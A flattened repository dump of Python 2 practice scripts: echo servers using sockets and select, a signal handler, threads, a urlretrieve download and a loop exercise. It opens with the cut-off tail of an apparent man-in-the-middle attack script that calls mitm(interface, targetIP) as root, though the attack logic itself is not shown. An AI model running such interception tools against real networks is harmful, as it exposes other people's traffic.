pass 33 | print "" 34 | print "[*] Stopping attack" 35 | 36 | if not geteuid() == 0: 37 | print "[!] You must to be root" 38 | sys.exit(1) 39 | 40 | mitm(interface, targetIP) -------------------------------------------------------------------------------- /server-select.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | An echo server that uses select to handle multiple clients at a time. 5 | Entering any line of input at the terminal will exit the server. 6 | """ 7 | 8 | import select 9 | import socket 10 | import sys 11 | 12 | host = '0.0.0.0' 13 | port = 50000 14 | backlog = 5 15 | size = 1024 16 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 18 | server.bind((host,port)) 19 | server.listen(backlog) 20 | print 'start listennig ...' 21 | input = [server,sys.stdin] 22 | running = 1 23 | while running: 24 | inputready,outputready,exceptready = select.select(input,[],[]) 25 | 26 | for s in inputready: 27 | 28 | if s == server: 29 | # handle the server socket 30 | client, address = server.accept() 31 | print 'accepted connection from %s'%str(address) 32 | input.append(client) 33 | 34 | elif s == sys.stdin: 35 | # handle standard input 36 | print 'exiting ...' 37 | junk = sys.stdin.readline() 38 | running = 0 39 | 40 | 41 | else: 42 | # handle all other sockets 43 | data = s.recv(size) 44 | print 'recieved data from client %s => %s'%(str(address),data) 45 | 46 | if data: 47 | # s.send(data) 48 | client.send('\n Data sent : %s' %data) 49 | else: 50 | 51 | print 'Client leaving .. %s'%str(address) 52 | s.close() 53 | input.remove(s) 54 | server.close() -------------------------------------------------------------------------------- /server2.py: -------------------------------------------------------------------------------- 1 | # Echo server program 2 | import socket 3 | 4 | HOST = '0.0.0.0' # Symbolic name meaning the local host 5 | PORT = 50003 # Arbitrary non-privileged port 6 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 8 | 9 | s.bind((HOST, PORT)) 10 | s.listen(1) 11 | conn, addr = s.accept() 12 | print 'Connected by', addr 13 | print "Starting ECHO output ..." 14 | data = 'dummy' 15 | while len(data): 16 | data = conn.recv(1024) 17 | print 'receved msg ', data 18 | if not data: break 19 | conn.send(data) 20 | 21 | print 'closing connection ...' 22 | conn.close() 23 | -------------------------------------------------------------------------------- /signal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | import signal 5 | 6 | def ctrlc_handler(signum,frm): 7 | print "HAHAHAHA! you cannot kill me!" 8 | print "ok only for this time ! " 9 | exit() 10 | 11 | print "Installing signal handler ...." 12 | signal.signal(signal.SIGINT , ctrlc_handler) 13 | 14 | print "done!" 15 | 16 | 17 | while True: 18 | pass -------------------------------------------------------------------------------- /thread.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | #!/usr/bin/env python 5 | 6 | 7 | import thread 8 | import time 9 | 10 | def worker_thred(id): 11 | print "Thread ID %d now alive !"%id 12 | count = 1 13 | while True: 14 | print "Thread with ID %d has counter value %d"%(id, count) 15 | time.sleep(2) 16 | count += 1 17 | 18 | for i in range(5): 19 | thread.start_new_thread(worker_thred,(i,)) 20 | print "Main thread going for a infinite wait loop" 21 | 22 | while True: 23 | pass 24 | -------------------------------------------------------------------------------- /urlretreive.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import os 3 | 4 | def reporthook(blocks_read, block_size, total_size): 5 | if not blocks_read: 6 | print 'Connection opened' 7 | return 8 | if total_size < 0: 9 | # Unknown size 10 | print 'Read %d blocks' % blocks_read 11 | else: 12 | amount_read = blocks_read * block_size 13 | print 'Read %d blocks, or %d/%d' % (blocks_read, amount_read, total_size) 14 | return 15 | 16 | try: 17 | filename, msg = urllib.urlretrieve('http://a.tumblr.com/tumblr_mkj8gt87351qlimuzo1.mp3', reporthook=reporthook) 18 | print 19 | print 'File:', filename 20 | print 'Headers:' 21 | print msg 22 | print 'File exists before cleanup:', os.path.exists(filename) 23 | 24 | finally: 25 | urllib.urlcleanup() 26 | 27 | print 'File still exists:', os.path.exists(filename) -------------------------------------------------------------------------------- /while.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | age = 20 5 | while age > 10: 6 | age = int(raw_input("what is your age ? => ")) 7 | if age > 10: 8 | print "your age is grater than 10" 9 | else: 10 | print "your age is less than 10" 11 | 12 | 13 | else: 14 | print '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!' --------------------------------------------------------------------------------